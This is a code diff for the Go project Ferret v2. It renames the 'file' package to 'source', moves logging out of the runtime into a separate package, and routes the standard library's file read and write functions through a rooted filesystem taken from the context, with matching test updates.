pkg/parser/diagnostics/match_error_common.go+3 −3 modified@@ -5,10 +5,10 @@ import ( "regexp" "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) -func matchCommonErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchCommonErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { if isNoAlternative(err.Message) || isMissing(err.Message) || isMismatched(err.Message) { prev := offending.Prev() if node := anyIs(prev, offending, "=>"); node != nil { @@ -164,7 +164,7 @@ func matchCommonErrors(src *file.Source, err *diagnostics.Diagnostic, offending if isNoAlternative(err.Message) || isMissing(err.Message) { if is(offending.Prev(), "(") { - var span file.Span + var span source.Span if isKeyword(offending) { span = spanFromTokenSafe(offending.Prev().Token(), src)
pkg/parser/diagnostics/match_error_for_loop.go+2 −2 modified@@ -4,10 +4,10 @@ import ( "strings" "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) -func matchForLoopErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchForLoopErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { prev := offending.Prev() if eq := findPrevToken(offending, "=", 4); eq != nil && is(eq.Prev(), "COLLECT") {
pkg/parser/diagnostics/match_error_literals.go+6 −6 modified@@ -5,8 +5,8 @@ import ( "strings" "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/parser/fql" + "github.com/MontFerret/ferret/v2/pkg/source" ) func isComputedPropertyPrefix(node *TokenNode) bool { @@ -27,7 +27,7 @@ func isComputedPropertyPrefix(node *TokenNode) bool { return false } -func matchLiteralErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchLiteralErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { if isUnclosedTemplateLiteral(offending) { span := spanFromTokenSafe(offending.Token(), src) span.Start = span.End @@ -68,7 +68,7 @@ func matchLiteralErrors(src *file.Source, err *diagnostics.Diagnostic, offending isMissingOpeningQuote := len(token) > 0 && isQuote(token[len(token)-1:]) && !isValidString(token) if isMissingClosingQuote || isMissingOpeningQuote { - var span file.Span + var span source.Span var typeOfQuote string var quote string @@ -124,7 +124,7 @@ func matchLiteralErrors(src *file.Source, err *diagnostics.Diagnostic, offending } if is(offending.Prev(), "[") { - var span file.Span + var span source.Span if isKeyword(offending) { span = spanFromTokenSafe(offending.Prev().Token(), src) @@ -179,7 +179,7 @@ func matchLiteralErrors(src *file.Source, err *diagnostics.Diagnostic, offending } if is(offending.Prev(), "{") { - var span file.Span + var span source.Span if isKeyword(offending) { span = spanFromTokenSafe(offending.Prev().Token(), src) @@ -240,7 +240,7 @@ func matchLiteralErrors(src *file.Source, err *diagnostics.Diagnostic, offending } if isQuote(token) { - var span file.Span + var span source.Span var typeOfQuote string if isKeyword(offending) {
pkg/parser/diagnostics/match_error_query.go+2 −2 modified@@ -4,11 +4,11 @@ import ( "strings" "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/parser/fql" + "github.com/MontFerret/ferret/v2/pkg/source" ) -func matchQueryErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchQueryErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { if err == nil || offending == nil { return false }
pkg/parser/diagnostics/match_error_return.go+2 −2 modified@@ -4,10 +4,10 @@ import ( "fmt" "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) -func matchMissingReturnValue(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchMissingReturnValue(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { // Prefer range-specific error when the parser trips on an incomplete range like "0.. RETURN". if is(offending, "..") || is(offending.Prev(), "..") || has(err.Message, "..") { span := spanFromTokenSafe(offending.Token(), src)
pkg/parser/diagnostics/match_error_waitfor.go+2 −2 modified@@ -5,10 +5,10 @@ import ( "strings" "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) -func matchWaitForErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchWaitForErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { if err == nil || offending == nil { return false }
pkg/parser/diagnostics/match_error_while_loop.go+13 −13 modified@@ -6,7 +6,7 @@ import ( "strings" "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) var invalidWhileLoopBindingPatterns = []*regexp.Regexp{ @@ -16,12 +16,12 @@ var invalidWhileLoopBindingPatterns = []*regexp.Regexp{ type whileLoopBindingMatch struct { binding string - bindingSpan file.Span + bindingSpan source.Span headerStart int skipDo bool } -func matchWhileLoopErrors(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchWhileLoopErrors(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { if matchInvalidWhileLoopBinding(src, err, offending) { return true } @@ -37,7 +37,7 @@ func matchWhileLoopErrors(src *file.Source, err *diagnostics.Diagnostic, offendi return false } -func matchInvalidWhileLoopBinding(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchInvalidWhileLoopBinding(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { span, ok := findInvalidWhileLoopBindingSpan(src) if !ok { return false @@ -52,9 +52,9 @@ func matchInvalidWhileLoopBinding(src *file.Source, err *diagnostics.Diagnostic, return true } -func findInvalidWhileLoopBindingSpan(src *file.Source) (file.Span, bool) { +func findInvalidWhileLoopBindingSpan(src *source.Source) (source.Span, bool) { if src == nil { - return file.Span{}, false + return source.Span{}, false } content := src.Content() @@ -68,7 +68,7 @@ func findInvalidWhileLoopBindingSpan(src *file.Source) (file.Span, bool) { matches = append(matches, whileLoopBindingMatch{ headerStart: indexes[0], - bindingSpan: file.Span{ + bindingSpan: source.Span{ Start: indexes[2], End: indexes[3], }, @@ -98,7 +98,7 @@ func findInvalidWhileLoopBindingSpan(src *file.Source) (file.Span, bool) { return match.bindingSpan, true } - return file.Span{}, false + return source.Span{}, false } func isValidWhileLoopBindingText(text string) bool { @@ -132,7 +132,7 @@ func isValidWhileLoopBindingText(text string) bool { } } -func matchMissingWhileLoopCondition(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchMissingWhileLoopCondition(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { whileToken := findWhileLoopHeaderToken(offending) if whileToken == nil { return false @@ -148,7 +148,7 @@ func matchMissingWhileLoopCondition(src *file.Source, err *diagnostics.Diagnosti return true } -func matchStandaloneWhileLoop(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { +func matchStandaloneWhileLoop(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) bool { loopKind, span, ok := findStandaloneWhileLoopSpan(src, err, offending) if !ok { return false @@ -170,21 +170,21 @@ func matchStandaloneWhileLoop(src *file.Source, err *diagnostics.Diagnostic, off return true } -func findStandaloneWhileLoopSpan(src *file.Source, err *diagnostics.Diagnostic, offending *TokenNode) (string, file.Span, bool) { +func findStandaloneWhileLoopSpan(src *source.Source, err *diagnostics.Diagnostic, offending *TokenNode) (string, source.Span, bool) { whileToken := findStandaloneWhileLoopToken(offending) if whileToken == nil { if is(offending, "DO") && err != nil && isNoAlternative(err.Message) && has(err.Message, "do while") && !hasPrevToken(offending, "FOR", 4) { return "DO WHILE", spanFromTokenSafe(offending.Token(), src), true } - return "", file.Span{}, false + return "", source.Span{}, false } if is(whileToken.Prev(), "DO") { doSpan := spanFromTokenSafe(whileToken.Prev().Token(), src) whileSpan := spanFromTokenSafe(whileToken.Token(), src) - return "DO WHILE", file.Span{ + return "DO WHILE", source.Span{ Start: doSpan.Start, End: whileSpan.End, }, true
pkg/runtime/logger.go+0 −79 removed@@ -1,79 +0,0 @@ -package runtime - -import ( - "context" - "io" - - "github.com/rs/zerolog" -) - -type ( - LogLevel int8 - - LogSettings struct { - Writer io.Writer - Fields map[string]interface{} - Level LogLevel - } -) - -const ( - DebugLevel LogLevel = iota - InfoLevel - WarnLevel - ErrorLevel - FatalLevel - PanicLevel - NoLevel - Disabled - - TraceLevel LogLevel = -1 -) - -func ParseLogLevel(input string) (LogLevel, error) { - lvl, err := zerolog.ParseLevel(input) - - if err != nil { - return NoLevel, err - } - - return LogLevel(lvl), nil -} - -func MustParseLogLevel(input string) LogLevel { - lvl, err := zerolog.ParseLevel(input) - - if err != nil { - panic(err) - } - - return LogLevel(lvl) -} - -func (l LogLevel) String() string { - return zerolog.Level(l).String() -} - -func NewLogger(opts LogSettings) zerolog.Logger { - c := zerolog.New(opts.Writer).With().Timestamp() - - for k, v := range opts.Fields { - c = c.Interface(k, v) - } - - return c.Logger().Level(zerolog.Level(opts.Level)) -} - -func WithLogger(ctx context.Context, opts LogSettings) context.Context { - return NewLogger(opts).WithContext(ctx) -} - -func GetLogger(ctx context.Context) zerolog.Logger { - found := zerolog.Ctx(ctx) - - if found == nil { - panic("logger is not set") - } - - return *found -}
pkg/source/helpers.go+1 −1 renamed@@ -1,4 +1,4 @@ -package file +package source func SkipWhitespaceForward(content string, offset int) int { for offset < len(content) {
pkg/source/helpers_test.go+1 −1 renamed@@ -1,4 +1,4 @@ -package file +package source import ( "testing"
pkg/source/os.go+2 −2 renamed@@ -1,4 +1,4 @@ -package file +package source import "os" @@ -9,5 +9,5 @@ func Read(path string) (*Source, error) { return nil, err } - return NewSource(path, string(bytes)), nil + return New(path, string(bytes)), nil }
pkg/source/os_test.go+1 −1 renamed@@ -1,4 +1,4 @@ -package file +package source import ( "os"
pkg/source/snippet.go+1 −1 renamed@@ -1,4 +1,4 @@ -package file +package source import "strings"
pkg/source/snippet_test.go+1 −1 renamed@@ -1,4 +1,4 @@ -package file +package source import ( "testing"
pkg/source/source.go+4 −4 renamed@@ -1,4 +1,4 @@ -package file +package source import ( "errors" @@ -21,7 +21,7 @@ type ( } ) -func NewSource(name, text string) *Source { +func New(name, text string) *Source { lines := strings.Split(text, "\n") return &Source{ @@ -31,8 +31,8 @@ func NewSource(name, text string) *Source { } } -func NewAnonymousSource(text string) *Source { - return NewSource("anonymous", text) +func NewAnonymous(text string) *Source { + return New("anonymous", text) } func (s *Source) MarshalJSON() ([]byte, error) {
pkg/source/source_test.go+20 −20 renamed@@ -1,18 +1,18 @@ -package file +package source import ( "testing" . "github.com/smartystreets/goconvey/convey" ) -func TestNewSource(t *testing.T) { - Convey("NewSource", t, func() { +func TestNew(t *testing.T) { + Convey("New", t, func() { Convey("Should create source with name and text", func() { name := "test.fql" text := "hello\nworld" - source := NewSource(name, text) + source := New(name, text) So(source, ShouldNotBeNil) So(source.Name(), ShouldEqual, name) @@ -24,7 +24,7 @@ func TestNewSource(t *testing.T) { name := "empty.fql" text := "" - source := NewSource(name, text) + source := New(name, text) So(source, ShouldNotBeNil) So(source.Name(), ShouldEqual, name) @@ -34,12 +34,12 @@ func TestNewSource(t *testing.T) { }) } -func TestNewAnonymousSource(t *testing.T) { - Convey("NewAnonymousSource", t, func() { +func TestNewAnonymous(t *testing.T) { + Convey("NewAnonymous", t, func() { Convey("Should create anonymous source", func() { text := "test content" - source := NewAnonymousSource(text) + source := NewAnonymous(text) So(source, ShouldNotBeNil) So(source.Name(), ShouldEqual, "anonymous") @@ -51,7 +51,7 @@ func TestNewAnonymousSource(t *testing.T) { func TestSourceName(t *testing.T) { Convey("Source.Name", t, func() { Convey("Should return name for valid source", func() { - source := NewSource("test.fql", "content") + source := New("test.fql", "content") So(source.Name(), ShouldEqual, "test.fql") }) @@ -67,13 +67,13 @@ func TestSourceName(t *testing.T) { func TestSourceEmpty(t *testing.T) { Convey("Source.Empty", t, func() { Convey("Should return false for non-empty source", func() { - source := NewSource("test.fql", "content") + source := New("test.fql", "content") So(source.Empty(), ShouldBeFalse) }) Convey("Should return true for empty text", func() { - source := NewSource("test.fql", "") + source := New("test.fql", "") So(source.Empty(), ShouldBeTrue) }) @@ -89,7 +89,7 @@ func TestSourceEmpty(t *testing.T) { func TestSourceLocationAt(t *testing.T) { Convey("Source.LocationAt", t, func() { Convey("Simple single line text", func() { - source := NewSource("test.fql", "hello world") + source := New("test.fql", "hello world") Convey("Should return correct location at start", func() { line, col := source.LocationAt(Span{Start: 0, End: 1}) @@ -111,7 +111,7 @@ func TestSourceLocationAt(t *testing.T) { }) Convey("Multi-line text", func() { - source := NewSource("test.fql", "line1\nline2\nline3") + source := New("test.fql", "line1\nline2\nline3") Convey("Should return correct location on first line", func() { line, col := source.LocationAt(Span{Start: 2, End: 3}) @@ -145,7 +145,7 @@ func TestSourceLocationAt(t *testing.T) { }) Convey("Edge cases", func() { - source := NewSource("test.fql", "hello\nworld") + source := New("test.fql", "hello\nworld") Convey("Should handle negative start", func() { line, col := source.LocationAt(Span{Start: -1, End: 0}) @@ -160,7 +160,7 @@ func TestSourceLocationAt(t *testing.T) { }) Convey("Should handle empty source", func() { - emptySource := NewSource("empty.fql", "") + emptySource := New("empty.fql", "") line, col := emptySource.LocationAt(Span{Start: 0, End: 1}) So(line, ShouldEqual, 0) So(col, ShouldEqual, 0) @@ -179,7 +179,7 @@ func TestSourceLocationAt(t *testing.T) { func TestSourceSnippet(t *testing.T) { Convey("Source.Snippet", t, func() { Convey("Single line source", func() { - source := NewSource("test.fql", "hello world") + source := New("test.fql", "hello world") span := Span{Start: 6, End: 11} snippets := source.Snippet(span) @@ -191,7 +191,7 @@ func TestSourceSnippet(t *testing.T) { }) Convey("Multi-line source", func() { - source := NewSource("test.fql", "line1\nline2\nline3") + source := New("test.fql", "line1\nline2\nline3") span := Span{Start: 8, End: 10} // "in" in "line2" snippets := source.Snippet(span) @@ -206,7 +206,7 @@ func TestSourceSnippet(t *testing.T) { }) Convey("First line span", func() { - source := NewSource("test.fql", "line1\nline2\nline3") + source := New("test.fql", "line1\nline2\nline3") span := Span{Start: 2, End: 4} // "ne" in "line1" snippets := source.Snippet(span) @@ -219,7 +219,7 @@ func TestSourceSnippet(t *testing.T) { }) Convey("Last line span", func() { - source := NewSource("test.fql", "line1\nline2\nline3") + source := New("test.fql", "line1\nline2\nline3") span := Span{Start: 14, End: 16} // "ne" in "line3" snippets := source.Snippet(span) @@ -232,7 +232,7 @@ func TestSourceSnippet(t *testing.T) { }) Convey("Empty source", func() { - source := NewSource("empty.fql", "") + source := New("empty.fql", "") span := Span{Start: 0, End: 1} snippets := source.Snippet(span)
pkg/source/span.go+1 −1 renamed@@ -1,4 +1,4 @@ -package file +package source type Span struct { Start int `json:"start"`
pkg/source/span_test.go+1 −1 renamed@@ -1,4 +1,4 @@ -package file +package source import ( "testing"
pkg/stdlib/io/fs/read.go+9 −3 modified@@ -2,22 +2,28 @@ package fs import ( "context" - "os" + "github.com/MontFerret/ferret/v2/pkg/fs" "github.com/MontFerret/ferret/v2/pkg/runtime" ) // READ reads from a given file. // @param {String} path - Path to file to read from. // @return {Binary} - File content in binary format. -func Read(_ context.Context, arg runtime.Value) (runtime.Value, error) { +func Read(ctx context.Context, arg runtime.Value) (runtime.Value, error) { path, err := runtime.CastArg[runtime.String](arg, 0) if err != nil { return runtime.None, err } - data, err := os.ReadFile(path.String()) + reader, err := fs.ReaderFrom(ctx) + + if err != nil { + return runtime.None, err + } + + data, err := reader.ReadFile(path.String()) if err != nil { return runtime.None, err
pkg/stdlib/io/fs/read_test.go+12 −8 modified@@ -2,6 +2,8 @@ package fs_test import ( "context" + "os" + "path/filepath" "testing" "github.com/MontFerret/ferret/v2/pkg/runtime" @@ -11,7 +13,6 @@ import ( ) func TestRead(t *testing.T) { - Convey("Arguments passed", t, func() { Convey("Passed not a string", func() { out, err := fs.Read(context.Background(), runtime.NewInt(0)) @@ -22,17 +23,17 @@ func TestRead(t *testing.T) { }) Convey("Read from file", t, func() { - Convey("File exists", func() { - file, delFile := tempFile() - defer delFile() + ctx, root, path, cleanup := tempFileSystemContext() + defer cleanup() text := "s string" - file.WriteString(text) + err := os.WriteFile(filepath.Join(root, path), []byte(text), 0o666) + So(err, ShouldBeNil) - fname := runtime.NewString(file.Name()) + fname := runtime.NewString(path) - out, err := fs.Read(context.Background(), fname) + out, err := fs.Read(ctx, fname) So(err, ShouldBeNil) SoMsg("Output should be binary", runtime.AssertBinary(out), ShouldBeNil) @@ -41,9 +42,12 @@ func TestRead(t *testing.T) { }) Convey("File does not exist", func() { + ctx, _, _, cleanup := tempFileSystemContext() + defer cleanup() + fname := runtime.NewString("not_exist.file") - out, err := fs.Read(context.Background(), fname) + out, err := fs.Read(ctx, fname) So(out, ShouldEqual, runtime.None) So(err, ShouldBeError) })
pkg/stdlib/io/fs/util_test.go+22 −6 modified@@ -1,19 +1,35 @@ package fs_test import ( + "context" "os" + ferretfs "github.com/MontFerret/ferret/v2/pkg/fs" + . "github.com/smartystreets/goconvey/convey" ) -func tempFile() (*os.File, func()) { - file, err := os.CreateTemp("", "fstest") +type closeable interface { + Close() error +} + +func tempFileSystemContext() (context.Context, string, string, func()) { + root, err := os.MkdirTemp("", "fstest") So(err, ShouldBeNil) - fn := func() { - file.Close() - os.Remove(file.Name()) + filesystem, err := ferretfs.New(ferretfs.WithRoot(root)) + So(err, ShouldBeNil) + + ctx := ferretfs.WithFileSystem(context.Background(), filesystem) + path := "test.txt" + + cleanup := func() { + if c, ok := filesystem.(closeable); ok { + _ = c.Close() + } + + _ = os.RemoveAll(root) } - return file, fn + return ctx, root, path, cleanup }
pkg/stdlib/io/fs/write.go+9 −2 modified@@ -5,6 +5,7 @@ import ( "os" "sort" + "github.com/MontFerret/ferret/v2/pkg/fs" "github.com/MontFerret/ferret/v2/pkg/runtime" ) @@ -16,7 +17,7 @@ import ( // * x - Exclusive: returns an error if the file exist. It can be combined with other modes // * a - Append: will create a file if the specified file does not exist // * w - Write (Default): will create a file if the specified file does not exist -func Write(_ context.Context, args ...runtime.Value) (runtime.Value, error) { +func Write(ctx context.Context, args ...runtime.Value) (runtime.Value, error) { if err := runtime.ValidateArgs(args, 2, 3); err != nil { return runtime.None, err } @@ -45,8 +46,14 @@ func Write(_ context.Context, args ...runtime.Value) (runtime.Value, error) { params = p } + filesystem, err := fs.FileSystemFrom(ctx) + + if err != nil { + return runtime.None, err + } + // 0666 - read & write - file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666) + file, err := filesystem.OpenFile(string(fpath), params.ModeFlag, 0666) if err != nil { return runtime.None, runtime.Error(err, "open file")
pkg/stdlib/io/fs/write_test.go+27 −21 modified@@ -4,6 +4,8 @@ import ( "bytes" "context" "fmt" + "os" + "path/filepath" "testing" "github.com/MontFerret/ferret/v2/pkg/runtime" @@ -115,14 +117,16 @@ func TestWrite(t *testing.T) { }) Convey("Error cases", t, func() { - Convey("Write into existing file with `x` mode", func() { - file, delFile := tempFile() - defer delFile() + ctx, root, path, cleanup := tempFileSystemContext() + defer cleanup() + + err := os.WriteFile(filepath.Join(root, path), []byte("existing"), 0o666) + So(err, ShouldBeNil) none, err := fs.Write( - context.Background(), - runtime.NewString(file.Name()), + ctx, + runtime.NewString(path), runtime.NewBinary([]byte("3timeslazy")), runtime.NewObjectWith( map[string]runtime.Value{ @@ -135,8 +139,11 @@ func TestWrite(t *testing.T) { }) Convey("Filepath is empty", func() { + ctx, _, _, cleanup := tempFileSystemContext() + defer cleanup() + none, err := fs.Write( - context.Background(), + ctx, runtime.NewString(""), runtime.NewBinary([]byte("3timeslazy")), ) @@ -146,13 +153,12 @@ func TestWrite(t *testing.T) { }) Convey("Success cases", t, func() { - Convey("Mode `w` should truncate file", func() { - file, delFile := tempFile() - defer delFile() + ctx, _, path, cleanup := tempFileSystemContext() + defer cleanup() data := runtime.NewBinary([]byte("3timeslazy")) - fpath := runtime.NewString(file.Name()) + fpath := runtime.NewString(path) params := runtime.NewObjectWith( map[string]runtime.Value{ "mode": runtime.NewString("w"), @@ -164,21 +170,21 @@ func TestWrite(t *testing.T) { // At second iteration check that `Write` truncates the file and // writes `data` again - _, err := fs.Write(context.Background(), fpath, data, params) + _, err := fs.Write(ctx, fpath, data, params) So(err, ShouldBeNil) - read, err := fs.Read(context.Background(), fpath) + read, err := fs.Read(ctx, fpath) So(err, ShouldBeNil) So(read, ShouldResemble, data) } }) Convey("Mode `a` should append into file", func() { - file, delFile := tempFile() - defer delFile() + ctx, _, path, cleanup := tempFileSystemContext() + defer cleanup() data := runtime.NewBinary([]byte("3timeslazy")) - fpath := runtime.NewString(file.Name()) + fpath := runtime.NewString(path) params := runtime.NewObjectWith( map[string]runtime.Value{ "mode": runtime.NewString("a"), @@ -191,10 +197,10 @@ func TestWrite(t *testing.T) { // At second iteration check that `Write` appends `data` into file // one more time using bytes.Repeat - _, err := fs.Write(context.Background(), fpath, data, params) + _, err := fs.Write(ctx, fpath, data, params) So(err, ShouldBeNil) - read, err := fs.Read(context.Background(), fpath) + read, err := fs.Read(ctx, fpath) So(err, ShouldBeNil) readBytes := runtime.Unwrap(read) @@ -203,13 +209,13 @@ func TestWrite(t *testing.T) { }) Convey("Write string data should error", func() { - file, delFile := tempFile() - defer delFile() + ctx, _, path, cleanup := tempFileSystemContext() + defer cleanup() text := "test string data" - fpath := runtime.NewString(file.Name()) + fpath := runtime.NewString(path) - none, err := fs.Write(context.Background(), fpath, runtime.NewString(text)) + none, err := fs.Write(ctx, fpath, runtime.NewString(text)) So(err, ShouldBeError) So(none, ShouldResemble, runtime.None) })
pkg/stdlib/utils/log.go+2 −1 modified@@ -3,6 +3,7 @@ package utils import ( "context" + "github.com/MontFerret/ferret/v2/pkg/logging" "github.com/MontFerret/ferret/v2/pkg/runtime" ) @@ -25,7 +26,7 @@ func Print(ctx context.Context, args ...runtime.Value) (runtime.Value, error) { } } - logger := runtime.GetLogger(ctx) + logger := logging.From(ctx) logger.Print(messages...) return runtime.None, nil
pkg/vm/env.go+0 −20 modified@@ -1,24 +1,20 @@ package vm import ( - "os" - "github.com/MontFerret/ferret/v2/pkg/runtime" ) type ( environmentBuilder struct { functions *runtime.FunctionsBuilder params runtime.Params - logging runtime.LogSettings } EnvironmentOption func(env *environmentBuilder) Environment struct { Functions *runtime.Functions Params runtime.Params - Logging runtime.LogSettings } ) @@ -31,21 +27,13 @@ func NewDefaultEnvironment() *Environment { return &Environment{ Functions: runtime.NewFunctions(), Params: runtime.NewParams(), - Logging: runtime.LogSettings{ - Writer: os.Stdout, - Level: runtime.ErrorLevel, - }, } } func NewEnvironment(opts []EnvironmentOption) (*Environment, error) { envBuilder := &environmentBuilder{ functions: runtime.NewFunctionsBuilder(), params: runtime.NewParams(), - logging: runtime.LogSettings{ - Writer: os.Stdout, - Level: runtime.ErrorLevel, - }, } for _, opt := range opts { @@ -61,7 +49,6 @@ func NewEnvironment(opts []EnvironmentOption) (*Environment, error) { return &Environment{ Functions: funcs, Params: envBuilder.params, - Logging: envBuilder.logging, }, nil } @@ -90,13 +77,6 @@ func MergeEnvironments(envs ...*Environment) (*Environment, error) { for name, val := range env.Params { merged.Params[name] = val } - - // merge logging options - if env.Logging.Writer != nil { - merged.Logging.Writer = env.Logging.Writer - } - - merged.Logging.Level = env.Logging.Level } builder := runtime.NewFunctionsBuilderFrom(funcsToMerge...)
pkg/vm/env_options.go+0 −20 modified@@ -1,8 +1,6 @@ package vm import ( - "io" - "github.com/MontFerret/ferret/v2/pkg/runtime" ) @@ -69,21 +67,3 @@ func WithFunctionsRegistrar(setter func(fns runtime.FunctionDefs)) EnvironmentOp } } } - -func WithLog(writer io.Writer) EnvironmentOption { - return func(env *environmentBuilder) { - env.logging.Writer = writer - } -} - -func WithLogLevel(lvl runtime.LogLevel) EnvironmentOption { - return func(env *environmentBuilder) { - env.logging.Level = lvl - } -} - -func WithLogFields(fields map[string]any) EnvironmentOption { - return func(env *environmentBuilder) { - env.logging.Fields = fields - } -}
pkg/vm/internal/diagnostics/span.go+4 −4 modified@@ -2,16 +2,16 @@ package diagnostics import ( "github.com/MontFerret/ferret/v2/pkg/bytecode" - "github.com/MontFerret/ferret/v2/pkg/file" + "github.com/MontFerret/ferret/v2/pkg/source" ) -func SpanAt(program *bytecode.Program, pc int) file.Span { +func SpanAt(program *bytecode.Program, pc int) source.Span { if program == nil { - return file.Span{Start: -1, End: -1} + return source.Span{Start: -1, End: -1} } if pc < 0 || pc >= len(program.Metadata.DebugSpans) { - return file.Span{Start: -1, End: -1} + return source.Span{Start: -1, End: -1} } return program.Metadata.DebugSpans[pc]
pkg/vm/vm_test.go+9 −9 modified@@ -9,8 +9,8 @@ import ( "github.com/MontFerret/ferret/v2/pkg/bytecode" "github.com/MontFerret/ferret/v2/pkg/diagnostics" - "github.com/MontFerret/ferret/v2/pkg/file" "github.com/MontFerret/ferret/v2/pkg/runtime" + "github.com/MontFerret/ferret/v2/pkg/source" "github.com/MontFerret/ferret/v2/pkg/vm/internal/data" rtdiagnostics "github.com/MontFerret/ferret/v2/pkg/vm/internal/diagnostics" "github.com/MontFerret/ferret/v2/pkg/vm/internal/frame" @@ -2429,9 +2429,9 @@ func TestBuildExecPlanRejectsMatchFailTargetLengthMismatch(t *testing.T) { func TestWrapRuntimeErrorSingleWarmupFailureReturnsRuntimeError(t *testing.T) { program := &bytecode.Program{ ISAVersion: bytecode.Version, - Source: file.NewSource("test", "RETURN 1"), + Source: source.New("test", "RETURN 1"), Metadata: bytecode.Metadata{ - DebugSpans: []file.Span{{Start: 0, End: 6}}, + DebugSpans: []source.Span{{Start: 0, End: 6}}, }, } @@ -2542,9 +2542,9 @@ func TestNearestBoundaryUsesProtectedUnwindWithoutCatch(t *testing.T) { func TestWrapRuntimeErrorPreservesExistingNoteAndDoesNotDuplicateStackDetails(t *testing.T) { program := &bytecode.Program{ ISAVersion: bytecode.Version, - Source: file.NewSource("test", "RETURN 1"), + Source: source.New("test", "RETURN 1"), Metadata: bytecode.Metadata{ - DebugSpans: []file.Span{{Start: 0, End: 6}}, + DebugSpans: []source.Span{{Start: 0, End: 6}}, }, } @@ -2595,9 +2595,9 @@ func TestWrapRuntimeErrorPreservesExistingNoteAndDoesNotDuplicateStackDetails(t func TestWrapRuntimeErrorRecognizesLegacyCallStackLabelWithoutDuplicatingSpans(t *testing.T) { program := &bytecode.Program{ ISAVersion: bytecode.Version, - Source: file.NewSource("test", "RETURN 1"), + Source: source.New("test", "RETURN 1"), Metadata: bytecode.Metadata{ - DebugSpans: []file.Span{{Start: 0, End: 6}}, + DebugSpans: []source.Span{{Start: 0, End: 6}}, }, } @@ -2607,8 +2607,8 @@ func TestWrapRuntimeErrorRecognizesLegacyCallStackLabelWithoutDuplicatingSpans(t Message: "Runtime error", Source: program.Source, Spans: []diagnostics.ErrorSpan{ - diagnostics.NewSecondaryErrorSpan(file.Span{Start: 0, End: 6}, "called from (#1)"), - diagnostics.NewMainErrorSpan(file.Span{Start: 0, End: 6}, ""), + diagnostics.NewSecondaryErrorSpan(source.Span{Start: 0, End: 6}, "called from (#1)"), + diagnostics.NewMainErrorSpan(source.Span{Start: 0, End: 6}, ""), }, }, }
plan.go+4 −14 modified@@ -7,6 +7,7 @@ import ( "sync" "github.com/MontFerret/ferret/v2/pkg/bytecode" + "github.com/MontFerret/ferret/v2/pkg/logging" "github.com/MontFerret/ferret/v2/pkg/runtime" "github.com/MontFerret/ferret/v2/pkg/vm" ) @@ -78,8 +79,7 @@ func (p *Plan) NewSession(ctx context.Context, setters ...SessionOption) (*Sessi env, err := vm.ExtendEnvironment(&vm.Environment{ Functions: h.functions, Params: h.params, - Logging: h.logging, - }, sessionOpts.envOptions) + }, sessionOpts.env) if err != nil { return nil, err @@ -99,6 +99,8 @@ func (p *Plan) NewSession(ctx context.Context, setters ...SessionOption) (*Sessi return &Session{ vm: instance, env: env, + logger: logging.NewFrom(h.logger, sessionOpts.logger...), + fs: h.fs, encoding: h.encoding, outputContentType: sessionOpts.outputContentType, hooks: hooks, @@ -137,15 +139,3 @@ func (p *Plan) Close() error { return err } - -func newSessionRelease(limiter *sessionLimiter, pool *vm.Pool) vmReleaseFunc { - var once sync.Once - - return func(instance *vm.VM) { - once.Do(func() { - // Release the engine-wide session slot even if the plan has already been closed. - limiter.Release() - pool.Release(instance) - }) - } -}
plan_helpers.go+19 −0 added@@ -0,0 +1,19 @@ +package ferret + +import ( + "sync" + + "github.com/MontFerret/ferret/v2/pkg/vm" +) + +func newSessionRelease(limiter *sessionLimiter, pool *vm.Pool) vmReleaseFunc { + var once sync.Once + + return func(instance *vm.VM) { + once.Do(func() { + // Release the engine-wide session slot even if the plan has already been closed. + limiter.Release() + pool.Release(instance) + }) + } +}
